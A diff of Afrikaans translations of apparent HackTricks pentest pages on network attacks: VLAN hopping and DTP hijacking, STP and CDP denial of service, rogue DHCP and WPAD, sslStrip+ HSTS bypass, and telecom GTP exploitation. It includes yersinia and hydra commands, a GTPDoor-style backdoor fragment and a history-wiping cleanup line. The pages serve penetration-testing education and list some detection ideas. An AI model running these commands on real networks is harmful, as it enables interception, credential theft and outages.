Die **Dinamiese Trunking Protokol (DTP)** is ontwerp as 'n skakelvlakprotokol om 'n outomatiese stelsel vir trunking te fasiliteer, wat skakels in staat stel om outomaties poorte vir trunkmodus (Trunk) of nie-trunkmodus te kies. Die implementering van **DTP** word dikwels gesien as 'n aanduiding van suboptimale netwerkontwerp, wat die belangrikheid van handmatige konfigurasie van trunks slegs waar nodig beklemtoon en verseker dat behoorlike dokumentasie bestaan.
|
||||
|
||||
Standaard is skakelpoorte ingestel om in Dinamiese Auto-modus te werk, wat beteken dat hulle gereed is om trunking te begin indien 'n naburige skakel dit vra. 'n Sekuriteitskwessie ontstaan wanneer 'n pentester of aanvaller aan die skakel koppel en 'n DTP Desirable-raam stuur, wat die poort dwing om in trunkmodus te gaan. Hierdie aksie stel die aanvaller in staat om VLANs te tel deur STP-raamanalise en om VLAN-segmentasie te omseil deur virtuele interfaces op te stel.
|
||||
Standaard is skakelpoorte ingestel om in Dinamiese Auto-modus te werk, wat beteken dat hulle gereed is om trunking te begin indien 'n naburige skakel dit vra. 'n Sekuriteitskwessie ontstaan wanneer 'n pentester of aanvaller aan die skakel koppel en 'n DTP Desirable-raam stuur, wat die poort dwing om in trunkmodus te gaan. Hierdie aksie stel die aanvaller in staat om VLANs te tel deur STP-raamanalise en VLAN-segmentasie te omseil deur virtuele interfaces op te stel.
|
||||
|
||||
Die teenwoordigheid van DTP in baie skakels standaard kan deur teenstanders uitgebuit word om 'n skakel se gedrag na te boots, en sodoende toegang tot verkeer oor alle VLANs te verkry. Die skrip [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) word gebruik om 'n interface te monitor, wat onthul of 'n skakel in Standaard, Trunk, Dinamies, Auto, of Toegang-modus is—laasgenoemde is die enigste konfigurasie wat immuun is teen VLAN-hopping-aanvalle. Hierdie hulpmiddel evalueer die kwesbaarheidstatus van die skakel.
|
||||
|
||||
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
Om die VLANs te tel, is dit ook moontlik om die DTP Desirable-raam te genereer met die skrif [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Moet die skrif onder geen omstandighede onderbreek nie. Dit inspuit DTP Desirable elke drie sekondes. **Die dinamies geskepte trunk-kanale op die skakelaar leef net vir vyf minute. Na vyf minute val die trunk af.**
|
||||
Om die VLANs te tel, is dit ook moontlik om die DTP Desirable-raam te genereer met die skrif [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Moet die skrif onder geen omstandighede onderbreek nie. Dit spuit DTP Desirable elke drie sekondes in. **Die dinamies geskepte trunk-kanale op die skakelaar leef net vir vyf minute. Na vyf minute val die trunk af.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -327,7 +327,7 @@ Die bespreekte aanval van **Dinamiese Trunking en die skep van virtuele interfac
|
||||
|
||||
#### Dubbele Etikettering
|
||||
|
||||
As 'n aanvaller die waarde van die **MAC, IP en VLAN ID van die slagoffer gasheer** ken, kan hy probeer om 'n **raam te dubbel etiketteer** met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakket te stuur. Aangesien die **slagoffer nie terug kan verbind** met die aanvaller nie, is die **beste opsie vir die aanvaller om via UDP te kommunikeer** met protokolle wat interessante aksies kan uitvoer (soos SNMP).
|
||||
As 'n aanvaller die waarde van die **MAC, IP en VLAN ID van die slagoffer-gasheer** ken, kan hy probeer om 'n **raam te dubbel etiketteer** met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakket te stuur. Aangesien die **slagoffer nie in staat sal wees om terug te verbind** met die aanvaller nie, is die **beste opsie vir die aanvaller om via UDP te kommunikeer** met protokolle wat 'n paar interessante aksies kan uitvoer (soos SNMP).
|
||||
|
||||
'n Ander opsie vir die aanvaller is om 'n **TCP-poortskandering te begin wat 'n IP naboots wat deur die aanvaller beheer word en deur die slagoffer toeganklik is** (waarskynlik deur die internet). Dan kan die aanvaller snuffel in die tweede gasheer wat hy besit as dit 'n paar pakkette van die slagoffer ontvang.
|
||||
|
||||
@ -350,7 +350,7 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
In sekere omgewings, soos gaste draadlose netwerke, word **poort-isolasie (ook bekend as private VLAN)** instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isolasiemaatreëls kan omseil. Hierdie tegniek benut óf die gebrek aan netwerk ACL's óf hul onjuiste konfigurasie, wat IP-pakkette in staat stel om deur 'n router na 'n ander kliënt op dieselfde netwerk gerouteer te word.
|
||||
In sekere omgewings, soos gaste draadlose netwerke, word **poort-isolasie (ook bekend as private VLAN)** instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isolasiemaatreëls kan omseil. Hierdie tegniek benut óf die gebrek aan netwerk ACL's óf hul onjuiste konfigurasie, wat IP-pakkette in staat stel om deur 'n router na 'n ander kliënt op dieselfde netwerk te beweeg.
|
||||
|
||||
Die aanval word uitgevoer deur 'n **pakket te skep wat die IP-adres van die bestemmingskliënt dra, maar met die router se MAC-adres**. Dit veroorsaak dat die router die pakket verkeerdelik na die teiken kliënt stuur. Hierdie benadering is soortgelyk aan dié wat in Double Tagging Attacks gebruik word, waar die vermoë om 'n gasheer wat vir die slagoffer toeganklik is, te beheer, gebruik word om die sekuriteitsfout te benut.
|
||||
|
||||
@ -397,15 +397,15 @@ yersinia stp -attack 3
|
||||
```
|
||||
#### **STP TCP-aanval**
|
||||
|
||||
Wanneer 'n TCP gestuur word, sal die CAM-tafel van die skakelaars binne 15 sekondes verwyder word. Dan, as jy voortdurend hierdie soort pakkette stuur, sal die CAM-tafel voortdurend (of elke 15 sekondes) herbegin word en wanneer dit herbegin word, gedra die skakel soos 'n hub.
|
||||
Wanneer 'n TCP gestuur word, sal die CAM-tafel van die skakelaars binne 15s verwyder word. Dan, as jy voortdurend hierdie soort pakkette stuur, sal die CAM-tafel voortdurend (of elke 15 sekondes) herbegin word en wanneer dit herbegin word, gedra die skakelaar soos 'n hub.
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **STP Root Aanval**
|
||||
|
||||
Die aanvaller simuleer die gedrag van 'n skakelaar om die STP wortel van die netwerk te word. Dan sal meer data deur hom beweeg. Dit is interessant wanneer jy aan twee verskillende skakelaars gekoppel is.\
|
||||
Dit word gedoen deur BPDUs CONF-pakkette te stuur wat sê dat die **prioriteit** waarde minder is as die werklike prioriteit van die werklike wortelskakelaar.
|
||||
Die aanvaller simuleer die gedrag van 'n skakelaar om die STP wortel van die netwerk te word. Dan sal meer data deur hom verbygaan. Dit is interessant wanneer jy aan twee verskillende skakelaars gekoppel is.\
|
||||
Dit word gedoen deur BPDUs CONF-pakkette te stuur wat sê dat die **prioriteit** waarde minder is as die werklike prioriteit van die werklike wortel skakelaar.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
@ -431,7 +431,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
Tydens hierdie aanval word die skakel se CPU en CDP buurtafel swaar belas, wat lei tot wat dikwels verwys word as **“netwerk paralise”** weens die oormatige hulpbronverbruik.
|
||||
Tydens hierdie aanval word die skakelaar se CPU en CDP buurtafel swaar belas, wat lei tot wat dikwels verwys word as **“netwerk paralise”** weens die oormatige hulpbronverbruik.
|
||||
|
||||
#### CDP Imitasie Aanval
|
||||
```bash
|
||||
@ -444,23 +444,23 @@ U kan ook [**scapy**](https://github.com/secdev/scapy/) gebruik. Maak seker dat
|
||||
|
||||
VoIP-telefone, wat toenemend geïntegreer is met IoT-toestelle, bied funksies soos die ontsluiting van deure of die beheer van termostate deur middel van spesiale telefoonnommers. Hierdie integrasie kan egter sekuriteitsrisiko's inhou.
|
||||
|
||||
Die instrument [**voiphopper**](http://voiphopper.sourceforge.net) is ontwerp om 'n VoIP-foon in verskillende omgewings (Cisco, Avaya, Nortel, Alcatel-Lucent) na te boots. Dit ontdek die stemnetwerk se VLAN-ID deur gebruik te maak van protokolle soos CDP, DHCP, LLDP-MED, en 802.1Q ARP.
|
||||
Die instrument [**voiphopper**](http://voiphopper.sourceforge.net) is ontwerp om 'n VoIP-telefoon in verskeie omgewings (Cisco, Avaya, Nortel, Alcatel-Lucent) na te boots. Dit ontdek die stemnetwerk se VLAN-ID deur gebruik te maak van protokolle soos CDP, DHCP, LLDP-MED, en 802.1Q ARP.
|
||||
|
||||
**VoIP Hopper** bied drie modi vir die Cisco Discovery Protocol (CDP):
|
||||
|
||||
1. **Sniff Mode** (`-c 0`): Analiseer netwerkpakkette om die VLAN-ID te identifiseer.
|
||||
2. **Spoof Mode** (`-c 1`): Genereer pasgemaakte pakkette wat die van 'n werklike VoIP-toestel naboots.
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Stuur pakkette wat identies is aan dié van 'n spesifieke Cisco IP-foonmodel.
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Stuur pakkette wat identies is aan dié van 'n spesifieke Cisco IP-telefoonmodel.
|
||||
|
||||
Die verkiesde modus vir spoed is die derde. Dit vereis dat die volgende gespesifiseer word:
|
||||
|
||||
- Die aanvaller se netwerkinterfaan (`-i` parameter).
|
||||
- Die naam van die VoIP-toestel wat nagebootst word (`-E` parameter), wat aan die Cisco naamformaat moet voldoen (bv. SEP gevolg deur 'n MAC-adres).
|
||||
- Die aanvaller se netwerkinterfase (`-i` parameter).
|
||||
- Die naam van die VoIP-toestel wat nagebootst word (`-E` parameter), wat aan die Cisco naamgewingformaat moet voldoen (bv. SEP gevolg deur 'n MAC-adres).
|
||||
|
||||
In korporatiewe omgewings, om 'n bestaande VoIP-toestel na te boots, kan 'n mens:
|
||||
|
||||
- Die MAC-etiket op die foon inspekteer.
|
||||
- Die foon se vertooninstellings navigeer om modelinligting te sien.
|
||||
- Die MAC-etiket op die telefoon inspekteer.
|
||||
- Die telefoon se vertooninstellings navigeer om modelinligting te sien.
|
||||
- Die VoIP-toestel aan 'n skootrekenaar koppel en CDP-versoeke met Wireshark waarneem.
|
||||
|
||||
'n Voorbeeldopdrag om die instrument in die derde modus uit te voer, sou wees:
|
||||
@ -503,7 +503,7 @@ Jy kan die genoemde DoS-aanvalle gebruik om kliënte te dwing om nuwe huurooreen
|
||||
|
||||
#### Stel kwaadwillige waardes in
|
||||
|
||||
'n Rogue DHCP-bediener kan opgestel word met behulp van die DHCP-skrip geleë by `/usr/share/responder/DHCP.py`. Dit is nuttig vir netwerkaanvalle, soos om HTTP-verkeer en geloofsbriewe te vang, deur verkeer na 'n kwaadwillige bediener te herlei. Dit is egter minder effektief om 'n rogue gateway op te stel, aangesien dit slegs toelaat om uitgaande verkeer van die kliënt te vang, terwyl die antwoorde van die werklike gateway gemis word. In plaas daarvan, word dit aanbeveel om 'n rogue DNS of WPAD-bediener op te stel vir 'n meer effektiewe aanval.
|
||||
'n Rogue DHCP-bediener kan opgestel word met behulp van die DHCP-skrip geleë by `/usr/share/responder/DHCP.py`. Dit is nuttig vir netwerkaanvalle, soos om HTTP-verkeer en geloofsbriewe te vang, deur verkeer na 'n kwaadwillige bediener te herlei. Dit is egter minder effektief om 'n rogue gateway in te stel, aangesien dit slegs toelaat om uitgaande verkeer van die kliënt te vang, terwyl die antwoorde van die werklike gateway gemis word. In plaas daarvan, word dit aanbeveel om 'n rogue DNS of WPAD-bediener op te stel vir 'n meer effektiewe aanval.
|
||||
|
||||
Hieronder is die opdragopsies vir die konfigurasie van die rogue DHCP-bediener:
|
||||
|
||||
@ -514,9 +514,9 @@ Hieronder is die opdragopsies vir die konfigurasie van die rogue DHCP-bediener:
|
||||
- **Sekondêre DNS-bediener IP**: Opsioneel, gebruik `-s 10.0.0.1` om 'n sekondêre DNS-bediener IP in te stel.
|
||||
- **Netmask van Plaaslike Netwerk**: Gebruik `-n 255.255.255.0` om die netmask vir die plaaslike netwerk te definieer.
|
||||
- **Koppelvlak vir DHCP-verkeer**: Gebruik `-I eth1` om na DHCP-verkeer op 'n spesifieke netwerk-koppelvlak te luister.
|
||||
- **WPAD-konfigurasieadres**: Gebruik `-w “http://10.0.0.100/wpad.dat”` om die adres vir WPAD-konfigurasie in te stel, wat help met die onderskep van webverkeer.
|
||||
- **WPAD-konfigurasieadres**: Gebruik `-w “http://10.0.0.100/wpad.dat”` om die adres vir WPAD-konfigurasie in te stel, wat help met webverkeer onderskep.
|
||||
- **Spoof Standaard Gateway IP**: Sluit `-S` in om die standaard gateway IP-adres te spoof.
|
||||
- **Reageer op Alle DHCP-versoeke**: Sluit `-R` in om die bediener te laat reageer op alle DHCP-versoeke, maar wees bewus dat dit luidrugtig is en opgespoor kan word.
|
||||
- **Reageer op Alle DHCP-versoeke**: Sluit `-R` in om die bediener te laat reageer op alle DHCP-versoeke, maar wees bewus dat dit lawaaierig is en opgespoor kan word.
|
||||
|
||||
Deur hierdie opsies korrek te gebruik, kan 'n rogue DHCP-bediener gevestig word om netwerkverkeer effektief te onderskep.
|
||||
```python
|
||||
@ -558,7 +558,7 @@ Let daarop dat RIPv2 MD5-outeentifikasie ondersteun terwyl RIPng nie inheemse ou
|
||||
|
||||
### EIGRP Aanvalle
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** is 'n dinamiese routeringprotokol. **Dit is 'n afstands-vektor protokol.** As daar **geen outeentifikasie** en konfigurasie van passiewe interfaces is nie, kan 'n **indringer** inmeng met EIGRP routering en **routeringstabelle vergiftig**. Boonop is die EIGRP netwerk (met ander woorde, outonome stelsel) **plat en het geen segmentasie in enige sones nie**. As 'n **aanvaller 'n roete inspuit**, is dit waarskynlik dat hierdie roete **versprei** deur die outonome EIGRP stelsel.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** is 'n dinamiese routeringprotokol. **Dit is 'n afstand-vektor protokol.** As daar **geen outeentifikasie** en konfigurasie van passiewe interfaces is nie, kan 'n **indringer** inmeng met EIGRP routering en **routeringstabelle vergiftig**. Boonop is die EIGRP netwerk (met ander woorde, outonome stelsel) **plat en het geen segmentasie in enige sones nie**. As 'n **aanvaller 'n roete inspuit**, is dit waarskynlik dat hierdie roete **versprei** deur die outonome EIGRP stelsel.
|
||||
|
||||
Om 'n EIGRP stelsel aan te val, vereis **die vestiging van 'n buur met 'n wettige EIGRP router**, wat baie moontlikhede oopmaak, van basiese verkenning tot verskeie inspuitings.
|
||||
|
||||
@ -635,10 +635,10 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Vir plaaslike gasheeroplossing wanneer DNS-opsoeke onsuksesvol is, staat Microsoft-stelsels op **Link-Local Multicast Name Resolution (LLMNR)** en die **NetBIOS Name Service (NBT-NS)**. Net so gebruik **Apple Bonjour** en **Linux zero-configuration** implementasies **Multicast DNS (mDNS)** om stelsels binne 'n netwerk te ontdek. Vanweë die nie-geverifieerde aard van hierdie protokolle en hul werking oor UDP, wat boodskappe uitsaai, kan dit deur aanvallers uitgebuit word wat daarop gemik is om gebruikers na kwaadwillige dienste te herlei.
|
||||
Vir plaaslike gasheeroplossing wanneer DNS-opsoeke onsuksesvol is, staat Microsoft-stelsels op **Link-Local Multicast Name Resolution (LLMNR)** en die **NetBIOS Name Service (NBT-NS)**. Op soortgelyke wyse gebruik **Apple Bonjour** en **Linux zero-configuration** implementasies **Multicast DNS (mDNS)** om stelsels binne 'n netwerk te ontdek. Vanweë die nie-geverifieerde aard van hierdie protokolle en hul werking oor UDP, wat boodskappe uitsaai, kan dit deur aanvallers uitgebuit word wat daarop gemik is om gebruikers na kwaadwillige dienste te herlei.
|
||||
|
||||
Jy kan dienste naboots wat deur gashere gesoek word deur Responder te gebruik om vals antwoorde te stuur.\
|
||||
Lees hier meer inligting oor [hoe om dienste na te boots met Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Lees hier meer inligting oor [hoe om dienste te naboots met Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
@ -648,11 +648,11 @@ Browers gebruik algemeen die **Web Proxy Auto-Discovery (WPAD) protokol om outom
|
||||
- Deur **DNS**, wat behels om te soek na 'n gasheernaam met die etiket _wpad_ binne die plaaslike domein.
|
||||
- Deur **Microsoft LLMNR en NBT-NS**, wat terugvalmeganismes is wat gebruik word in gevalle waar DNS-opsoeke nie slaag nie.
|
||||
|
||||
Die hulpmiddel Responder maak voordeel van hierdie protokol deur as 'n **kwaadwillige WPAD-bediener** op te tree. Dit gebruik DHCP, DNS, LLMNR, en NBT-NS om kliënte te mislei om met dit te verbind. Om dieper in te duik in hoe dienste met Responder nageboot kan word [kyk hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Die hulpmiddel Responder maak voordeel van hierdie protokol deur as 'n **kwaadwillige WPAD-bediener** op te tree. Dit gebruik DHCP, DNS, LLMNR, en NBT-NS om kliënte te mislei om met dit te verbind. Om dieper in te duik in hoe dienste naboots kan word met Responder [kyk hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Jy kan verskillende dienste in die netwerk aanbied om te probeer om **'n gebruiker te mislei** om sekere **plank-tekst geloofsbriewe** in te voer. **Meer inligting oor hierdie aanval in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
Jy kan verskillende dienste in die netwerk aanbied om te probeer om **'n gebruiker te mislei** om sekere **planktekst geloofsbriewe** in te voer. **Meer inligting oor hierdie aanval in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### IPv6 Neighbor Spoofing
|
||||
|
||||
@ -697,9 +697,9 @@ Meer inligting [hier](https://www.blackhat.com/presentations/bh-dc-09/Marlinspik
|
||||
|
||||
### sslStrip+ en dns2proxy vir omseiling van HSTS
|
||||
|
||||
Die **verskil** tussen **sslStrip+ en dns2proxy** teenoor **sslStrip** is dat hulle **omlei** byvoorbeeld _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (let op die **extra** "**w**") en sal die **adres van hierdie domein as die aanvaller se IP** stel. Op hierdie manier sal die **klient** met _**wwww.facebook.com**_ **(die aanvaller)** verbind, maar agter die skerms sal **sslstrip+** die **werklike verbinding** via https met **www.facebook.com** **onderhou**.
|
||||
Die **verskil** tussen **sslStrip+ en dns2proxy** teenoor **sslStrip** is dat hulle **omlei** byvoorbeeld _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (let op die **extra** "**w**") en sal die **adres van hierdie domein as die aanvaller se IP** stel. Op hierdie manier sal die **klient** met _**wwww.facebook.com**_ **(die aanvaller)** **verbinde**, maar agter die skerms sal **sslstrip+** die **werklike verbinding** via https met **www.facebook.com** **onderhou**.
|
||||
|
||||
Die **doel** van hierdie tegniek is om **HSTS te vermy** omdat _**wwww**.facebook.com_ **nie** in die **kas** van die blaaier gestoor sal word nie, so die blaaiers sal bedrieg word om **facebook-akkreditering in HTTP** uit te voer.\
|
||||
Die **doel** van hierdie tegniek is om **HSTS te vermy** omdat _**wwww**.facebook.com_ **nie** in die **kas** van die blaaiers gestoor sal word nie, so die blaaiers sal mislei word om **facebook-akkreditering in HTTP** uit te voer.\
|
||||
Let daarop dat om hierdie aanval uit te voer, die slagoffer aanvanklik moet probeer om toegang te verkry tot [http://www.faceook.com](http://www.faceook.com) en nie https nie. Dit kan gedoen word deur die skakels binne 'n http-bladsy te wysig.
|
||||
|
||||
Meer inligting [hier](https://www.bettercap.org/legacy/#hsts-bypass), [hier](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) en [hier](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
Soms, as die kliënt nagaan dat die CA 'n geldige een is, kan jy **'n sertifikaat van 'n ander hostname wat deur 'n CA onderteken is, bedien**.\
|
||||
'n Ander interessante toets is om **'n sertifikaat van die versoekte hostname maar self-onderteken** te bedien.
|
||||
|
||||
Ander dinge om te toets, is om te probeer om die sertifikaat te onderteken met 'n geldige sertifikaat wat nie 'n geldige CA is nie. Of om die geldige publieke sleutel te gebruik, te dwing om 'n algoritme soos diffie hellman te gebruik (een wat nie nodig het om enigiets met die werklike private sleutel te ontsleutel nie) en wanneer die kliënt 'n proef van die werklike private sleutel versoek (soos 'n hash) 'n vals proef te stuur en te verwag dat die kliënt dit nie nagaan nie.
|
||||
Ander dinge om te toets, is om te probeer om die sertifikaat te onderteken met 'n geldige sertifikaat wat nie 'n geldige CA is nie. Of om die geldige publieke sleutel te gebruik, te dwing om 'n algoritme soos diffie hellman te gebruik (een wat nie nodig het om enigiets met die werklike private sleutel te ontsleutel nie) en wanneer die kliënt 'n proef van die werklike private sleutel (soos 'n hash) versoek, 'n vals proef te stuur en te verwag dat die kliënt dit nie nagaan nie.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -784,7 +784,7 @@ Bettercap stuur 'n MDNS versoek (elke X ms) wat vra vir **\_services\_.dns-sd.\_
|
||||
|
||||
### **NBNS (NetBios Naam Bediener)**
|
||||
|
||||
Bettercap stuur uitsendings na die poort 137/UDP wat vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
Bettercap stuur uitsendings na poort 137/UDP en vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
|
||||
### **SSDP (Simple Service Discovery Protocol)**
|
||||
|
||||
@ -794,7 +794,7 @@ Bettercap stuur SSDP-pakkette uit wat soek na alle soorte dienste (UDP Poort 190
|
||||
|
||||
Bettercap stuur WSD-pakkette uit wat soek na dienste (UDP Poort 3702).
|
||||
|
||||
### Telekom / Mobiele Kern (GTP) Exploitatie
|
||||
### Telekom / Mobiele-Kern (GTP) Exploitatie
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
|
@ -3,16 +3,16 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobiele-kern protokolle (GPRS Tunneling Protocol – GTP) beweeg dikwels oor semi-vertroude GRX/IPX roaming rugsteun. Omdat hulle op gewone UDP met byna geen verifikasie werk nie, **kan enige voetstuk binne 'n telekomperimeter gewoonlik direk toegang tot kern seinvlakke verkry**. Die volgende notas versamel offensiewe truuks wat in die natuur teen SGSN/GGSN, PGW/SGW en ander EPC nodes waargeneem is.
|
||||
> Mobiele-kern protokolle (GPRS Tunneling Protocol – GTP) beweeg dikwels oor semi-vertroude GRX/IPX roaming rugsteun. Omdat hulle op gewone UDP loop met byna geen verifikasie nie, **kan enige voetstuk binne 'n telekomperimeter gewoonlik direk toegang tot kern seinvlakke verkry**. Die volgende notas versamel offensiewe truuks wat in die natuur teen SGSN/GGSN, PGW/SGW en ander EPC nodes waargeneem is.
|
||||
|
||||
## 1. Recon & Begin Toegang
|
||||
|
||||
### 1.1 Standaard OSS / NE Rekeninge
|
||||
'n Verrassend groot stel verskaffer netwerk elemente word met hard-gecodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … verskaf. 'n Toegewyde woordlys verhoog die sukses van brute-force aanslag dramaties:
|
||||
'n Verrassend groot stel verskaffer netwerk elemente word met hard-gecodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … verskaf. 'n Toegewyde woordlys verhoog die sukses van brute-force aanslae dramaties:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
As die toestel slegs 'n bestuurs-VRF blootstel, draai eers deur 'n springgas (sien afdeling «SGSN Emu Tunnel» hieronder).
|
||||
As die toestel slegs 'n bestuurs-VRF blootstel, draai eers deur 'n springgas (jump host) (sien afdeling «SGSN Emu Tunnel» hieronder).
|
||||
|
||||
### 1.2 Gasheer Ontdekking binne GRX/IPX
|
||||
Meeste GRX-operateurs laat steeds **ICMP echo** oor die rugsteun toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C luisteraars te karteer:
|
||||
@ -53,7 +53,7 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detection:
|
||||
* enige gasheer wat **ongebalanseerde Echo Versoeke** na SGSN IPs stuur
|
||||
* enige gasheer wat **ongebalanseerde Echo Versoeke** na SGSN IP's stuur
|
||||
* GTP weergawe vlag op 1 gestel terwyl boodskap tipe = 1 (Echo) – afwyking van spesifikasie
|
||||
|
||||
## 4. Pivoting Deur die Kern
|
||||
@ -126,10 +126,10 @@ rm -f /tmp/sh ; history -c
|
||||
|
||||
---
|
||||
## Opsporingsidees
|
||||
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests tot stand bring**.
|
||||
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel**.
|
||||
2. **Nie-standaard poorte (53, 80, 443) wat SSH handdrukke ontvang** van interne IP's.
|
||||
3. **Frekwente Echo Requests sonder ooreenstemmende Echo Responses** – kan GTPDoor bakens aandui.
|
||||
4. **Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifiseerder/volgorde velde**.
|
||||
3. **Frekwente Echo Versoeke sonder ooreenstemmende Echo Antwoorde** – kan GTPDoor bakens aandui.
|
||||
4. **Hoë tempo van ICMP echo-antwoorde verkeer met groot, nie-nul identifiseerder/volgorde velde**.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -1,45 +1,45 @@
|
||||
# Firmware Analysis
|
||||
# Firmware Analise
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Inleiding**
|
||||
|
||||
Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk deur die kommunikasie tussen die hardewarekomponente en die sagteware waarmee gebruikers interaksie het, te bestuur en te fasiliteer. Dit word in permanente geheue gestoor, wat verseker dat die toestel toegang kan verkry tot noodsaaklike instruksies vanaf die oomblik dat dit aangeskakel word, wat lei tot die bekendstelling van die bedryfstelsel. Om firmware te ondersoek en moontlik te wysig, is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede.
|
||||
Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk deur die kommunikasie tussen die hardewarekomponente en die sagteware waarmee gebruikers interaksie het, te bestuur en te fasiliteer. Dit word in permanente geheue gestoor, wat verseker dat die toestel vitale instruksies kan verkry vanaf die oomblik dat dit aangeskakel word, wat lei tot die bekendstelling van die bedryfstelsel. Om firmware te ondersoek en moontlik te wysig, is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede.
|
||||
|
||||
## **Inligting Versameling**
|
||||
|
||||
**Inligting versameling** is 'n kritieke aanvanklike stap in die begrip van 'n toestel se samestelling en die tegnologieë wat dit gebruik. Hierdie proses behels die versameling van data oor:
|
||||
|
||||
- Die CPU-argitektuur en bedryfstelsel wat dit gebruik
|
||||
- Bootloader-spesifikasies
|
||||
- Hardeware-opstelling en datasheets
|
||||
- Kodebasis-metrieke en bronliggings
|
||||
- Die CPU-argitektuur en bedryfstelsel wat dit loop
|
||||
- Bootloader spesifikasies
|
||||
- Hardeware uitleg en datasheets
|
||||
- Kodebasis metrieke en bronliggings
|
||||
- Eksterne biblioteke en lisensietipes
|
||||
- Opdateringsgeskiedenisse en regulerende sertifikate
|
||||
- Opdatering geskiedenisse en regulerende sertifikate
|
||||
- Argitektoniese en vloediagramme
|
||||
- Sekuriteitsassessering en geïdentifiseerde kwesbaarhede
|
||||
|
||||
Vir hierdie doel is **open-source intelligence (OSINT)** gereedskap van onskatbare waarde, sowel as die analise van enige beskikbare open-source sagtewarekomponente deur middel van handmatige en geoutomatiseerde hersieningsprosesse. Gereedskap soos [Coverity Scan](https://scan.coverity.com) en [Semmle’s LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële probleme te vind.
|
||||
Vir hierdie doel is **open-source intelligence (OSINT)** gereedskap van onskatbare waarde, sowel as die analise van enige beskikbare open-source sagtewarekomponente deur handmatige en geoutomatiseerde hersieningsprosesse. Gereedskap soos [Coverity Scan](https://scan.coverity.com) en [Semmle’s LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële probleme te vind.
|
||||
|
||||
